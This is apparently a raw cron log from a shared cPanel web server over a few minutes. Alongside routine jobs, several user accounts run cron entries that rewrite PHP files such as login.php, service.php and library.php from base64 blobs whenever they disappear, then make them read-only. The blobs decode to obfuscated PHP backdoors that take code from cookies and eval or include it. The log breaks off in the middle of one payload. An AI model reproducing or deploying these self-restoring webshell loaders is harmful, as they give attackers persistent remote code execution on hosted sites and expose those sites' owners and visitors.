Jun  7 08:07:01 medusa CROND[25006]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:07:01 medusa CROND[25005]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:07:01 medusa CROND[25008]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:07:01 medusa CROND[25012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:07:01 medusa CROND[25013]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:07:01 medusa CROND[25014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:07:01 medusa CROND[25017]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:08:01 medusa CROND[26930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:08:01 medusa CROND[26931]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:08:01 medusa CROND[26932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:08:01 medusa CROND[26933]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:08:01 medusa CROND[26935]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:08:01 medusa CROND[26936]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:08:01 medusa CROND[26937]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:08:01 medusa CROND[26942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:08:01 medusa CROND[26947]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Jun  7 08:08:01 medusa CROND[26948]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:08:01 medusa CROND[26950]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:08:01 medusa CROND[26952]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:08:01 medusa CROND[26953]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:08:01 medusa CROND[26954]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:09:01 medusa CROND[28749]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:09:01 medusa CROND[28783]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:09:01 medusa CROND[28784]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:09:01 medusa CROND[28785]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:09:01 medusa CROND[28786]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 08:09:01 medusa CROND[28787]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:09:01 medusa CROND[28788]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:09:01 medusa CROND[28789]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:09:01 medusa CROND[28790]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGd